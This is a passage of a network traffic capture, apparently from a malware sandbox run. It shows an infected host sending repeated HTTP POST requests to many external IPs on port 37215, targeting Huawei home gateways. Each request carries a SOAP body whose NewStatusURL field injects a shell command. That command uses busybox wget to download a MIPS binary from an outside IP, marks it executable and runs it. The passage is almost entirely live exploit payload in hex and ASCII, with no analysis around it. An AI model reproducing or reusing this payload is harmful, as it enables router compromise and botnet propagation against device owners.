70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.13	32834	156.249.70.243	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.930929899 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.13	37610	156.89.39.231	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.931967020 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.13	53100	41.97.23.92	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.933051109 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.13	56460	156.32.132.93	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.933965921 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.13	56378	156.60.90.199	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.934919119 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.13	38508	156.67.226.82	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.935899973 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.13	47918	197.192.210.171	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.936836958 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.13	51088	156.185.143.113	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.937774897 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.13	45636	197.11.121.199	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.938714981 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.13	56768	41.92.127.129	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.939522982 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r 